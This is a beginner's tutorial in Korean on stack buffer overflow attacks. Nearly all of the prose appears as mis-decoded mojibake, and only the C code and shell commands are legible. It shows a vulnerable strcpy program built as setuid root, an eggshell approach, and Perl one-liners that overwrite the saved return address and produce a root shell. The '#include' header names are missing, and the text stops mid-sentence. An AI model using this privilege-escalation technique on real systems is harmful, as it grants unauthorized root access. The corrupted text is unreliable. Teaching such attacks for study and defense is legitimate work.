Á¦¸ñ : bof °­Á¹®¼­ (Ãʺ¸ÀÚ¿ë) »çÁø ¼³¸í : /* À̽ÂÁø http://beist.org beist@hanmail.net */ ¾È³çÇϼ¼¿ä. ÀÌ ¹®¼­´Â Ãʺ¸ÀÚ¸¦ À§ÇÑ bof °­ÁÂÀÔ´Ï´Ù. ¸¹Àº ºÐµéÀÌ bof ¸¦ °Ì³»ÇϽôõ±º¿ä. Àúµµ óÀ½ ¹è¿ï¶§´Â '¹öÆÛ°¡ ²ËÂ÷°í ¸®ÅÏ ¾îµå·¹½º¸¦ µ¤¾î¾º¿ö¼­ ¾îÂîÀúÂîÇÏ´Â °Å°ÚÁö' ¹¹ ÀÌ Á¤µµ¸¸ ÀÌÇظ¦ ÇÏ°í Á¤È®ÇÑ ÀÌÇØ´Â ÇÏÁö ¸øÇß½À´Ï´Ù. Áö±Ýµµ bof ¸¦ Á¤È®È÷ ¸ð¸£Áö¸¸ óÀ½ ¹è¿ì½Ã´Â ºÐµéÀ» À§Çؼ­ °¡´ÉÇÑ ½±°Ô ¼³¸íÀ» Çϵµ·Ï ÇÏ°Ú½À´Ï´Ù. 1. bof ´Â ¹«¾ùÀΰ¡? 2. ¸Þ¸ð¸® ÀÇ ±¸Á¶ 3. bof ´Â ¾î¶»°Ô? 4. °ø°ÝÇغ¸±â 5. bof °øºÎÇϱâ 1. bof ´Â ¹«¾ùÀΰ¡? buffer overflow ¸¦ ¸»ÇÕ´Ï´Ù. buffer ÀÇ Àǹ̴ ÇÁ·Î±×·¥ »ó¿¡¼­ ¾î¶² µ¥ÀÌÅ͸¦ ´ã´Â ºÎºÐÀ̶ó°í º¸¸é µË´Ï´Ù. À̶§ µ¥ÀÌÅÍ´Â »ç¿ëÀڷκÎÅÍÀÇ ÀÔ·ÂÀϼöµµ ÀÖ°í º¯¼ö ¼±¾ð°°Àº Àϼöµµ ÀÖ½À´Ï´Ù. overflow ´Â ³ÑÄ¡´Ù¶ó´Â ¶æÀÌÁÒ. buffer ÀÇ ºÎºÐÀ» ÇÑ°èÄ¡ ÀÌ»ó±îÁö ä¿ö¼­ ÀϾ´Â ¾î¶² ÀÏÀÌ Àִµ¥ ±×°É ÀÌ¿ëÇؼ­ ƯÁ¤ ±ÇÇÑÀ» ¾ò´Â °ÍÀ» º¸°í bof ¶ó°í ÇÕ´Ï´Ù. Á¤È®È÷ ¸»Çϸé buffer overflow attack À̶ó°í ÇÕ´Ï´Ù. ±×·³ ¾î¶² ÇüÅ·Π°ø°ÝÀÌ µÇ´ÂÁö °£´ÜÈ÷ ¼³¸íÀ» ÇÏ°Ú½À´Ï´Ù. ½ÂÁø°ú TTL ±¤°í¸ðµ¨ ÀÓÀº°æÀÌ ÀÖ½À´Ï´Ù. ½ÂÁø°ú Àº°æÀº ¼­·Î »ç±Í´Â »çÀÌÀÔ´Ï´Ù. ½ÂÁøÀº ¹Ù¶÷³¢°¡ ¸¹Àº ³²ÀÚ¾ÆÀÌÀÔ´Ï´Ù. Àº°æ°ú »ç±Í¸é¼­ ´Ù¸¥ ¿©ÀÚµé°ú ¿¬¶ôÀ» ÇÏ´Ù°¡ Àº°æ¿¡°Ô °É¸°ÀûÀÌ ÇѵιøÀÌ ¾Æ´Ï¾ú½À´Ï´Ù. Àº°æÀº óÀ½¿£ ±×·¯·Á´Ï ÇÏ¸ç ³Ñ¾î°¡´Ù Çѹø, µÎ¹ø, ¼¼¹ø, ³×¹ø...... Âü´Ù°¡ ¿­¹ø°¿¡ ½ÂÁøÀÇ ¹Ù¶÷³¢¿¡ µåµð¾î Æø¹ßÀ» ÇÏ¿´½À´Ï´Ù. Àº°æÀÌ È­¸¦ ³»¸ç ½ÂÁøÀÌ¿Í Çì¾îÁöÀÚ°í ¸»À» ÇÏ¿´½À´Ï´Ù. ½ÂÁøÀº Æ÷±âÇÏÁö¾Ê°í Àº°æÀÇ Áý¾Õ¿¡¼­ Àº°æÀ» ¸¸³ª ´ÙÀ̾Ƹóµå ¹ÝÁö¸¦ ¼±¹°ÇÏ¿´½À´Ï´Ù. Àº°æÀº ½ÂÁøÀÇ ¼±¹°À» ¹Þ°í ±×µ¿¾È ½×¿´´ø ºÐÀ» Ç®°í µÑÀº ´Ù½Ã »çÀÌÁÁÀº ¾ÖÀÎ »çÀÌ·Î µ¹¾Æ°¡°Ô µÇ¾ú½À´Ï´Ù. /* À§ À̾߱â´Â ÇȼÇÀÔ´Ï´Ù. */ È÷È÷ ¹¹ ±×³É Àç¹Ì·Î ½áº» ±ÛÀÔ´Ï´Ù. ÇÏÁö¸¸ ½ÇÁ¦·Î bof ´Â À§¿Í ºñ½ÁÇÏ°Ô ÀÌ·ç¾îÁý´Ï´Ù. #include #include main() { char buffer[10]; fgets(buffer, 500, stdin); } À§ ¼Ò½º¿¡´Â ¹®Á¦Á¡ÀÌ ÀÖ½À´Ï´Ù. ¸ÕÀú µ¥ÀÌÅ͸¦ ´ã±âÀ§Çؼ­ ¼±¾ðµÈ buffer ÀÇ Å©±â´Â 10 ¹ÙÀÌÆ®ÀÔ´Ï´Ù. ±×¸®°í fgets ÇÔ¼ö¸¦ ÀÌ¿ëÇØ »ç¿ëÀڷκÎÅÍ µ¥ÀÌÅ͸¦ ÀÔ·Â¹Þ°í ±×°ÍÀ» buffer ¿¡ ÀúÀåÇÕ´Ï´Ù. ÇÏÁö¸¸ ÃÖ´ë 500 ¹ÙÀÌÆ® ¸¸Å­ÀÇ ÀÔ·ÂÀÌ °¡´ÉÇÏ°Ô µÇ¾îÀÖ½À´Ï´Ù. buffer ÀÇ Å©±â´Â 10 Àε¥ ÀúÀåµÇ´Â »çÀÌÁî°¡ ±× ÀÌ»óÀ̸é ÇÁ·Î±×·¥Àº overflow ¸¦ ÀÏÀ¸Å°°í Á¾·áµË´Ï´Ù. ºñÀ¯¸¦ ÇÏÀÚ¸é ½ÂÁøÀÌ ¹Ù¶÷À» ÇÇ´Â ÇൿÀº ¹öÆÛ¸¦ °è¼Ó ½×ÀÌ°Ô ÇÑ °ÍÀÌ°í Àº°æÀÌ ½ÂÁøÀÇ ¹Ù¶÷³¢¿¡ ÂüÁö ¸øÇÏ°í Æø¹ßÇÑ °ÍÀ» overflow ¶ó°í ÇÕ´Ï´Ù. À̶§ ½ÂÁøÀÌ Àº°æ¿¡°Ô ´ÙÀ̾Ƹóµå¸¦ ¼±¹°·Î »çÁØ°ÍÀ» ÇØÄ¿°¡ ƯÁ¤ Ä¿¸Çµå¸¦ ÀÔ·ÂÇÑ °ÍÀ̶ó°í º¼¼ö ÀÖ½À´Ï´Ù. ¿¹¸¦ µé¸é ½©Äڵ带 ÁöÁ¤ÇÑ´Ù´øÁö ±×·± °Íµé ¸»ÀÌÁÒ. ½ÂÁøÀº ´ÙÀ̾Ƹóµå¸¦ ¼±¹°ÇÔÀ¸·Î½á Àº°æ°ú Çì¾îÁöÁö ¾Ê°í (ÇÁ·Î±×·¥ÀÌ ¼¼±×¸ÕÆ® ÆúÆ®·Î ³¡³ªÁö ¾Ê°í) °è¼Ó »ç±Ð¼ö (½©Äڵ带 ½ÇÇà½ÃÄÑ ·çÆ®½©À» ¾ò¾úÀ½) ÀÖ¾ú´ø °ÍÀÌÁÒ. È÷È÷ ³Ñ ¿ô±â³× ¾î·µç ´ëÃæ ÀÌÇØ°¡³ª¿ä? ÀÌ»óÀÌ buffer overflow attack ÀÇ °³¿ä¿´½À´Ï´Ù. 2. ¸Þ¸ð¸® ÀÇ ±¸Á¶ ¸ÕÀú ¿ì¸®°¡ »ç¿ëÇÏ´Â ¸®´ª½º ½Ã½ºÅÛÀÇ ¸Þ¸ð¸® ±¸Á¶¿¡ ´ëÇؼ­ ¾Ë¾Æº¾½Ã´Ù. heap ¿µ¿ªµµ ÀÖÁö¸¸ ±×°ÍÀº »ý·«ÇÏ°Ú½À´Ï´Ù. ±×¸² 1. ----- ¸Þ¸ð¸®ÀÇ ³·Àº ÁÖ¼Ò text ----- data ----- ½ºÅÃÀÇ ³ôÀº ÁÖ¼Ò stack ----- ¸Þ¸ð¸®ÀÇ ³ôÀº ÁÖ¼Ò ½ºÅÃÀÇ ³·Àº ÁÖ¼Ò aleph one (ÇÁ·¢ 49-14) ÀÇ ¹®¼­¸¦ º¸¸é ´ëÃæ ¼³¸íÀÌ µÇ¾îÀÖÁö¸¸ Ãʺ¸ÀÚµéÀº ºÁµµ '¹¹¿©' ÀÌ·¯°í ¸¶´Â ºÎºÐÀÌÁÒ. ¿©±â¼­µµ ±×³É ³Ñ¾î°¡°Ú½À´Ï´Ù. ÀÌ ¹®¼­´Â bof ¿¡ ´ëÇؼ­ Á¤È®È÷ ÀÌÇØÇÏ´Â °ÍÀÌ ÇÙ½ÉÀ̴ϱî¿ä. stack ÀÇ °³³äÀº ÀÌ·¸½À´Ï´Ù. °¡Àå ³ªÁß¿¡ µé¾î¿Â °ÍÀÌ, °¡Àå ¸ÕÀú ³ª°£´Ù. ´Ù¸¥ »ç¶÷ÀÇ Ç¥ÇöÀ» ºô·Á¼­ ¸»ÇÏÀÚ¸é Åýñâ»çµéÀÌ »ç¿ëÇÏ´Â µ¿ÀüÅëÀÖÁÒ? µ¿ÀüÀ» ÇϳªÇϳª ½×°í, ¼Õ´Ô¿¡°Ô µ¿ÀüÀ» °Å½½·¯ ÁÙ¶§ °¡Àå À§¿¡ ÀÖ´Â °ÍÀ» »©¼­ ÁÖÁÒ? °¡Àå À§¿¡ ÀÖ´Â °ÍÀº °¡Àå ¸¶Áö¸·¿¡ ³ÖÀº °Å°ÚÁÒ? ³×.. ¹Ù·Î ½ºÅÃÀÌ ÀÌ·± °³³äÀÔ´Ï´Ù. ±×¸®°í ½ºÅÃÀº ¸Þ¸ð¸®ÀÇ ³ôÀº ¿µ¿ª¿¡¼­ ³·Àº ¿µ¿ªÀ¸·Î ½×¾ÆÁ® °©´Ï´Ù. ±×·³ µµ´ëü ¹» ÀÌ·¸°Ô ó¸®Çϴ°ųı¸¿ä? ¿¹¸¦ µéÀÚ¸é #include #include main() { int a=5, b=4, c=3; char msg1[]="beist", msg2[]="ttl"; } À§ ¼Ò½º´Â ¾Æ¹«·± ±â´Éµµ ÇÏÁö ¾Ê½À´Ï´Ù. ±×³É º¯¼ö¸¦ ¼±¾ðÇÏ°í Á¤ÀǸ¦ ÇØÁÖ¾ú½À´Ï´Ù. À§¿¡¼­ °¢ º¯¼ö°¡ µé¾î°¡´Â °ªÀ» ½ºÅà ±¸Á¶¿¡ µû¶ó Ç¥ÇöÀ» Çغ¸°Ú½À´Ï´Ù. ±×·±µ¥ ½ºÅÃÀº ³·Àº ¸Þ¸ð¸® ÁÖ¼Ò·Î »¸´Â´Ù°í ±×·¨ÁÒ? ±×¸² 1 ¿¡¼­ º¸¸é ¸Þ¸ð¸®ÀÇ ³ôÀº ÁÖ¼Ò´Â ½ºÅû󿡼­´Â ³·ÀºÂÊÀÌ°í ¸Þ¸ð¸®ÀÇ ³·Àº ÁÖ¼Ò´Â ½ºÅû󿡼­ ³ôÀº ÁÖ¼Ò ¹æÇâÀÔ´Ï´Ù. ------------------------------------------------------------------- ¸Þ¸ð¸® ³·Àº ÁÖ¼Ò ¸Þ¸ð¸® ³ôÀº ÁÖ¼Ò 100 104 112 116 120 msg2[]= msg1 c b a ½ºÅÃÀÇ ³ôÀº ÁÖ¼Ò ½ºÅÃÀÇ ³·Àº ÁÖ¼Ò ------------------------------------------------------------------- 100, 108, 112, 116, 120 Àº °¡»óÀ¸·Î ¸¸µé¾î³½ ÁÖ¼ÒÀÔ´Ï´Ù. msg1 Àº beist\0 À¸·Î (c ¾ð¾î¿¡¼­ ¹®ÀÚ¿­ÀÇ ¸¶Áö¸·Àº null À̶õ°Í ¾Æ´ÏÁÒ?) 6 ¹ÙÀÌÆ®, msg1 Àº ttl\0 À¸·Î 4 ¹ÙÀÌÆ®ÀÌ°í int ÀÇ Å©±â´Â 4 ¹ÙÀÌÆ® ÀÔ´Ï´Ù. ±×·±µ¥ ¿Ö msg2 ÀÌ 6 ¹ÙÀÌÆ®Àε¥ c ÇÏ°í »çÀÌ°¡ 104~112, 8 ¹ÙÀÌÆ® ³Ä±¸¿ä? ±× ÀÌÀ¯´Â ÀÌ·¸½À´Ï´Ù. ¸Þ¸ð¸®´Â ¿öµå Å©±âÀÇ ¹è¼ö¸¸Å­¸¸ ÁöÁ¤ÀÌ °¡´ÉÇÕ´Ï´Ù. ÇÑ ¿öµå°¡ 4 ¹ÙÀÌÆ®ÀÔ´Ï´Ù. ¸Þ¸ð¸®¸¦ ó¸®ÇÒ¶§ 6 ¹ÙÀÌÆ®¶ó°í Çؼ­ ¿öµå + 2 ¸¸ ÇÏ¿© 6 ¹ÙÀÌÆ®·Î ÇÒ ¼ö°¡ ¾ø½À´Ï´Ù. ±×·¡¼­ ¿öµå µÎ°³¸¦ ÇÒ´çÇÏ¿© msg1 À» ó¸®ÇÏ°Ô µÇ´Âµ¥¿ä. ±×·¯¸é 8 ¹ÙÀÌÆ®°¡ µÇ°ÚÁÒ? À§¿¡ ¼Ò½º¿¡¼­ º¸½Ã´Ù½ÃÇÇ °¡Àå ¸ÕÀú ÇÑ ¼±¾ðÀº a=5 Àε¥ ¸Þ¸ð¸® ÁÖ¼Ò»ó À¸·Î´Â °¡Àå ³ôÀº À§Ä¡¿¡ ÇÒ´çÀÌ µÇ¾îÀÖÁÒ? (120) ±×¸®°í msg2 ´Â 100¿¡ ÇÒ´çµÇ¾î ÀÖ°í¿ä. ÀÌ·± ½ÄÀ¸·Î ½ºÅÃÀº ¸Þ¸ð¸®ÀÇ ³·Àº ÁÖ¼ÒÂÊÀ¸·Î ÇâÇؼ­ ÀÚ¶ø´Ï´Ù. 3. bof ´Â ¾î¶»°Ô? bof ¸¦ Çϱâ À§ÇÑ ±âÃÊÀûÀÎ Áö½ÄÀ» ÀÍÇû´Ù¸é ÀÌÁ¦´Â ½ÇÁ¦·Î ¾î¶»°Ô bof attack À» ÇÏ´ÂÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù. void test(char *bad) { char buffer[16]; strcpy(buffer, bad); } void main(int argc, char *argv[]) { printf("hi~"); test(argv[1]); return 0; } ¹®Á¦°¡ ÀÖ´Â ¼Ò½ºÁÒ? argv[1] (ÇÁ·Î±×·¥ ½ÇÇà½Ã ÀÎÀÚ) À» test ÀÇ Àμö·Î ³Ñ±â°í buffer[16] ¿¡ bad ¸¦ Ä«ÇÇÇÕ´Ï´Ù. strcpy ÇÔ¼ö´Â °æ°è°Ë»ç (¹®ÀÚ¿­ÀÇ ±æÀÌ) ¸¦ ÇÏÁö ¾Ê´Â ÇÔ¼öÀÔ´Ï´Ù. À§ ÇÁ·Î±×·¥ÀÇ ¸Þ¸ð¸® ±¸Á¶°¡ ¾î¶»°Ô µÇ¾îÀÖÀ»±î¿ä. ------------------------------------------------------------------- ¸Þ¸ð¸® ³·Àº ÁÖ¼Ò ¸Þ¸ð¸® ³ôÀº ÁÖ¼Ò strcpy buffer[16] sfp ret bad ½ºÅÃÀÇ ³ôÀº ÁÖ¼Ò ½ºÅÃÀÇ ³·Àº ÁÖ¼Ò ------------------------------------------------------------------- ret ¿Í sfp ´Â °¢°¢ ¸®ÅϾîµå·¹½º¿Í ½ºÅà º£À̽º °ªÀ» ¶æÇÕ´Ï´Ù. ret °¡ ÇÊ¿äÇÑ ÀÌÀ¯? ÇÁ·Î±×·¥ÀÇ ÁøÇà main -> printf -> test -> return 0; main ¿¡¼­ printf ÇÔ¼ö¸¦ ÀÌ¿ëÇØ hi~ ¸¦ Ãâ·ÂÇÏ°í, test ÇÔ¼ö¸¦ ºÒ·¯µéÀÔ´Ï´Ù. test ÇÔ¼ö°¡ ºÒ·¯µéÀÌ°í ³­ ÈÄ¿¡´Â return À» ½ÇÇàÇØ¾ß ÇÕ´Ï´Ù. ½ÇÇàÇÏ·Á¸é return ÀÌ ´ã±ä ÄÚµå ÁÖ¼Ò·Î µ¹¾Æ¿Í¾ßÇϴµ¥ return 0 ÀÌ ´ã±ä ÄÚµå ÁÖ¼Ò°¡ ¹Ù·Î ret °ªÀÔ´Ï´Ù. ¸ðµç ÇÔ¼ö´Â ret °ªÀ» °¡Áö°í ÀÖ½À´Ï´Ù. ret °ªÀ» ÀÌ¿ëÇÏ¿© ´ÙÀ½¿¡ ½ÇÇàÇÒ ÀûÀýÇÑ ÄÚµå ÁÖ¼Ò°ªÀ¸·Î °¡´Â °ÍÀÌÁÒ. sfp °¡ ÇÊ¿äÇÑ ÀÌÀ¯? sfp ´Â ½ºÅà ÁÖ¼Ò°ªÀ» °è»êÀ» ÇÒ¶§ ÇöÀç ½ºÅðªÀÇ ¹Ù´Ú, Áï ±âÁØÀ» ÀâÀ»¶§ ÇÊ¿äÇÑ ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ °ªÀ» ÀúÀåÇÏ´Â °÷ÀÔ´Ï´Ù. ÀÌ ¹®¼­¿¡¼­´Â ±íÀÌ ¼³¸íÀ» ÇÏÁö ¾Ê°Ú½À´Ï´Ù. ¸ÕÀú test ÀÇ ÀÎÀÚ (bad) ¸¦ ¸Þ¸ð¸®¿¡ ³Ö°í, return 0 À¸·Î °¡±â À§ÇÑ ret ÁÖ¼Ò°ªÀ» ³Ö½À´Ï´Ù. ±× ´ÙÀ½ sfp ¸¦ ³Ö°í, test ÇÔ¼öÀÇ buffer ¹è¿­À» ³Ö°í strcpy ºÒ·¯µéÀÔ´Ï´Ù. ¿ì¸®°¡ ÇØ¾ß ÇÒÀÏÀº return 0 ÀÇ ÄÚµå ÁÖ¼Ò°¡ ´ã±ä ret À» ¿ì¸®°¡ ½ÇÇàÇÏ±æ ¿øÇÏ´Â ÄÚµåÀÇ ÁÖ¼Ò°ªÀ¸·Î ¹Ù²Ù¾î¾ßÇÕ´Ï´Ù. ÀÌ°ÍÀÌ ¹Ù·Î bof attack! À̶§ ¿ì¸®°¡ ½ÇÇàÇÏ´Â ¸í·ÉµéÀº ¹¹ ½©À» ½ÇÇà, xterm ½ÇÇà, ƯÁ¤¸í·É¾î ½ÇÇà µîµîµî~ ¿©·¯°¡Áö ÀÏÀ» ÇÒ ¼ö°¡ ÀÖ½À´Ï´Ù. ¿ì¸®´Â ÀÏ¹Ý °èÁ¤ÀÌ°í, root ÀÇ ±ÇÇÑÀ» ¾ò±æ ¿øÇÕ´Ï´Ù. ¸¸¾à root ±ÇÇÑÀ¸·Î suid °¡ °É¸° bof ¿¡ Ãë¾àÇÑ ¾î¶² ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¿© ½©À» ¶ç¿î´Ù¸é ±× ½©Àº root ÀÇ ±ÇÇÑÀ¸·Î ¶ç¿öÁú °ÍÀÔ´Ï´Ù. suid °¡ °É¸®Áö ¾ÊÀº bof attack ¿¡ Ãë¾àÇÑ ÇÁ·Î±×·¥Àº °ø°Ý¿¡ ¼º°øÇÏ¿©µµ ¾Æ¹«·± È¿°ú°¡ ¾ø½À´Ï´Ù. ÀÌ·¸µí bof attack À» Çϱâ À§Çؼ­´Â ÇÁ·Î±×·¥¿¡ suid °¡ °É·ÁÀÖ¾î¾ß ÇÏÁö¸¸ ¸¸¾à ÀÏ¹Ý °èÁ¤µµ ¾ø´Â ¸®¸ðÆ® »óȲÀÏ ½Ã¿¡´Â bof ¿¡ Ãë¾àÇÑ cgi ÇÁ·Î±×·¥µîÀ» °ø°ÝÇÏ¿© ½©À» µþ ¼öµµ ÀÖ½À´Ï´Ù. 4. °ø°Ý Çغ¸±â ±×·¯¸é ÀÌÁ¦ ½ÇÁúÀûÀÎ °ø°Ý ¹æ¹ý¿¡ ´ëÇؼ­ ¾Ë¾Æº¸°Ú½À´Ï´Ù. ¾Æ·¡¿Í °°Àº bof¿¡ Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÌ Á¸ÀçÇÑ´Ù°í ÇսôÙ. - vul.c void test(char *bad) { char buffer[16]; strcpy(buffer, bad); } void main(int argc, char *argv[]) { printf("hi~"); test(argv[1]); return 0; } # gcc -o vul vul.c # chmod 6755 vul vul ÇÁ·Î±×·¥ÀÇ ¸Þ¸ð¸® ±¸Á¶ ------------------------------------------------------------------- ¸Þ¸ð¸® ³·Àº ÁÖ¼Ò ¸Þ¸ð¸® ³ôÀº ÁÖ¼Ò strcpy buffer[16] sfp ret bad ½ºÅÃÀÇ ³ôÀº ÁÖ¼Ò ½ºÅÃÀÇ ³·Àº ÁÖ¼Ò ------------------------------------------------------------------- bof attack ÀÌ ¹«¾ùÀÌÁÒ? ret ¾îµå·¹½º¸¦ ¹Ù²ÛÈÄ ¿ì¸®°¡ ¿øÇÏ´Â ¸í·ÉÀ» ½ÇÇàÇÏ´Â °ÍÀÔ´Ï´Ù. ¿ì¸®´Â ÀÎÀÚ¸¦ buffer º¸´Ù Å©°Ô ÁØÈÄ¿¡ sfp, ret °ªÀ» µ¤¾î¾º¿ö¾ß ÇÕ´Ï´Ù. ¾î¶»°Ô ¹Ù²ã¾ß ÇÏ´ÂÁö ¾Ë¾Æº¾½Ã´Ù. ¿ì¸®´Â argv[1] Áï ÇÁ·Î±×·¥ ½ÇÇà½Ã ÀÎÀÚÀÇ °ªÀ» ÀÌ¿ëÇÏ¿© buffer[16] ¿¡ Ä«ÇÇÇÏ°Ô µË´Ï´Ù. buffer[16] À» ä¿ì°í sfp ¸¦ ä¿ì°í ret °ª±îÁö°¡¼­ ±× °ªÀ» º¯Á¶½ÃÄÑ¾ß ÇÕ´Ï´Ù. sfp ¿Í ret °ªÀº 4 ¹ÙÀÌÆ®ÀÔ´Ï´Ù. ±×·¸´Ù¸é buffer[16] + sfp = 20 ¹ÙÀÌÆ®ÀÌÁÒ. 20 ¹ÙÀÌÆ®´Â ¾Æ¹«·± °ªÀ¸·Î ä¿î ´ÙÀ½¿¡ ret °ªÀ» º¯Á¶½ÃÅ°¸é µË´Ï´Ù. º¯Á¶µÈ ret °ª¿¡´Â ¹«¾ùÀÌ µé¾î°¡¾ß ÇÒ±î¿ä? term À» ¶ç¿ì°Å³ª ƯÁ¤¸í·É¾î¸¦ ½ÇÇàÇÒ¼ö ÀÖÁö¸¸ ¿©±â¼­´Â ½©À» ½ÇÇà½ÃÄѺ¸°Ú½À´Ï´Ù. ´ëºÎºÐÀÇ bof °­Á ¹®¼­ ¿¡¼­´Â buffer °ª¿¡ ½©À» ½ÇÇà½Ãų ¼ö ÀÖ´Â ½©Äڵ带 ³Ö°í, ret °ªÀ» buffer ·Î ÁöÁ¤ÇÏ¿© ½©Äڵ带 ½ÇÇàÇÏ´Â ¹æ¹ýÀ» »ç¿ëÇÏÁö¸¸ ¿©±â¼­´Â °£´ÜÇÏ°Ô egg ¸¦ ¶ç¿ì°í egg °¡ ¶ç¿î ½© ÁÖ¼Ò·Î ret °¡ ÇâÇÏ°Ô Çغ¸°Ú½À´Ï´Ù. eggshell À̶õ ½©À» ¶ç¿öÁÖ´Â ÇÁ·Î±×·¥À¸·Î ¿ì¸®°¡ ret °ªÀ» eggshell °¡ ¸¸µç ½©ÀÇ ÁÖ¼Ò·Î ÁöÁ¤ÇÏ¿©µÐ´Ù¸é ±»ÀÌ buffer ¿¡ ½©Äڵ带 ÀÔ·ÂÇÏÁö ¾Ê°íµµ ½©À» ¾òÀ» ¼ö°¡ ÀÖ½À´Ï´Ù. $ ./vul aaaaaaaaaaaaaaa $ ./vul aaaaaaaaaaaaaaaa ¼¼±×¸ÕÆ® ÆúÆ® (a 15, 16 °³¸¦ ÀÔ·ÂÇÏ¿´½À´Ï´Ù.) ¿ª½Ã 15 °³ À϶§´Â ¾Æ¹«·± Àϵµ »ý±âÁö ¾ÊÁö¸¸ (ÇÁ·Î±×·¥ ³»¿¡¼­´Â Á¤»óÀûÀ¸·Î strcpy ¸¦ ½ÇÇàÇÑÈÄ¿¡ Á¾·á¸¦ ÇÏ°ÚÁÒ) 16 °³ À϶§´Â sfp ¿µ¿ª ÇѹÙÀÌÆ®¸¦ ħ¹ü ÇßÀ¸¹Ç·Î ¼¼±×¸ÕÆ® ÆúÆ®°¡ ÀϾ°Ô µË´Ï´Ù. (15, 16 ¿¡ °¢°¢ 1 À» ´õÇؼ­ 16, 17 ÀÌ µË´Ï´Ù. ¿Ö³ÄÇÏ¸é ¹®ÀÚ¿­ÀÇ ³¡À» ³ªÅ¸³»´Â ÁøÇ๮ÀÚ°¡ ¹®ÀÚ¿­ÀÇ ³¡¿¡ Æ÷ÇÔÀÌ µÇ¾îÀֱ⶧¹®ÀÌÁÒ. ÀÌ°ÍÀÇ Å©±â´Â 1 ¹ÙÀÌÆ®ÀÔ´Ï´Ù.) ¿ì¸®´Â ÀÎÀÚ·Î ´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù. aaaaaaaaaaaaaaaabbbbcccc a = ¹öÆÛ¿¡ ä¿öÁú °ª (16 ¹ÙÀÌÆ®) b = sfp ¿¡ ä¿öÁú °ª (4 ¹ÙÀÌÆ®) c = ret ¿¡ ä¿öÁú °ª (4 ¹ÙÀÌÆ®) ¸ÕÀú egg ¸¦ ¶ç¿öº¾½Ã´Ù. $ gcc -o egg egg.c $ ./egg using address : 0xffffff41 ½©ÀÌ ¶ç¿öÁø ÁÖ¼Ò°¡ 0xffffff41 À¸·Î ³ª¿ÍÀֳ׿ä. c ÀÇ °ªÀ» ½©ÀÌ ¶ç¿öÁø ÁÖ¼Ò °ªÀ¸·Î ä¿ö ³Ö¾î¼­ ret °ªÀ» º¯Á¶½ÃÄÑ¾ß ÇÕ´Ï´Ù. 0xffffff41 °°Àº ½©ÁÖ¼Ò¸¦ ÀÔ·ÂÇÒ¶§´Â ÀÏ¹Ý Ãâ·ÂÀ¸·Î´Â ¾ÈµÇ°í printf ³ª perl À» ÀÌ¿ëÇÏ¿©¼­ Ãâ·ÂÇÏ¿©¾ß ÇÕ´Ï´Ù. ¿©±â¼­´Â ÆíÇÑ ÀÔ·ÂÀ» À§ÇÏ¿© perlÀ» ÀÌ¿ëÇÏ¿© Ãâ·ÂÀ» Çغ¸°Ú½À´Ï´Ù. $ perl -e 'system "./vul", "aaaaaaaaaaaaaaaabbbb\xff\xff\xff\x41"' $ À¹ ÀÌ·²¼ö°¡.. ¸Â°Ô ÀÔ·ÂÇÑ°Í °°Àºµ¥ ¿Ö ·çÆ®½©ÀÌ ¾È ¶ßÁö? ÀÌÀ¯´Â ½ºÅà ó¸® °úÁ¤¿¡ ÀÖ½À´Ï´Ù. ½ºÅÃÀº ³ôÀºÁÖ¼ÒºÎÅÍ ²¨³»°Ô µÇ´Âµ¥ À§¿Í °°ÀÌ ÀÔ·ÂÇÏ¸é ²¨³¾¶§ \x41\xff\xff\xff ·Î µÇ°ÚÁÒ? ±×·¡¼­ ²¨³¾¶§ ¿Ã¹Ù¸£°Ô Ç¥±âµÇ·Á¸é ±× ¹Ý´ë·Î ÀÔ·ÂÇؾßÇÕ´Ï´Ù. À§¿Í °°ÀÌ ÀÔ·ÂÇÏ¿´À»¶§ ¸Þ¸ð¸® ÇüÅ´ ´ÙÀ½°ú °°ÀÌ µË´Ï´Ù. ÁÖ¼Ò 0 1 2 3 ................... strcpy ¸Þ¸ð¸®ÀÇ ³·Àº ÁÖ¼Ò buffer [aaaaaaaaaaaaaaaa] 16 ¹ÙÀÌÆ® sfp [bbbb] 4 ¹ÙÀÌÆ® ret [ffffff41] bad ¸Þ¸ð¸®ÀÇ ³ôÀº ÁÖ¼Ò $ perl -e 'system "./vul", "aaaaaaaaaaaaaaaabbbb\x41\xff\xff\xff"' # id root À§¿Í °°ÀÌ ÀÔ·ÂÇÏ¿´À»¶§ ¸Þ¸ð¸® ÇüÅ´ ´ÙÀ½°ú °°ÀÌ µË´Ï´Ù. ÁÖ¼Ò 0 1 2 3 ................... strcpy ¸Þ¸ð¸®ÀÇ ³·Àº ÁÖ¼Ò buffer [aaaaaaaaaaaaaaaa] 16 ¹ÙÀÌÆ® sfp [bbbb] 4 ¹ÙÀÌÆ® ret [41ffffff] bad ¸Þ¸ð¸®ÀÇ ³ôÀº ÁÖ¼Ò ÀÌ·¯¸é ³ªÁß¿¡ ½×ÀÎ ÁÖ¼ÒºÎÅÍ pop ÇÏ°Ô µÇ´Ï±î ffffff41 ÀÌ·¸°Ô µÇ°ÚÁÒ? ¿À¿¹~ ÀߵƴÙ. ÀÌ·± ½ÄÀÔ´Ï´Ù. ´ëÃæ bof ¿¡ °üÇؼ­ °¨ÀÌ ÀâÈ÷¼Ì³ª¿ä? 5. bof °øºÎÇϱâ À§ÀÇ ±ÛµéÀ» ÀÌÇØÇϼ̴ٸé ÀÌÁ¦ º»°ÝÀûÀÎ bof °øºÎ¸¦ ÇÏ¼Å¾ß ÇÕ´Ï´Ù. À§ÀÇ ³»¿ëÀº °£´ÜÇÑ ¿ø¸®¿¡ ´ëÇؼ­ ¼³¸íÇسõÀº°Í¿¡ ºÒ°úÇÕ´Ï´Ù. ¾î¼Àºí¸®¾î °°Àº °ÍÀ» °øºÎÇÏ¿©¼­ ±âº»À» źźÈ÷ ÇÏ¼Å¾ß ÇÕ´Ï´Ù. °¢ ¹øÁöÀÇ Â÷ÀÌ°¡ ¿Ö ¸î¹ÙÀÌÆ®°¡ ³ª´ÂÁö, Àú ¿ÉÆÛÄڵ帻°í ´Ù¸¥ °ÍÀ¸·Î Á»´õ È¿À²ÀûÀ¸·Î ÇÒ¼ø ¾øÀ»Áö, ÀÌ·± »ý°¢µéÀ» Çϸ鼭 bof ¸¦ °øºÎÇÏ¼Å¾ß ÇÕ´Ï´Ù. Àú °°Àº °æ¿ì¿¡´Â ÄÄÇ»ÅÍ¿¡ ½ÇÁ¦·Î bof ¿¡ 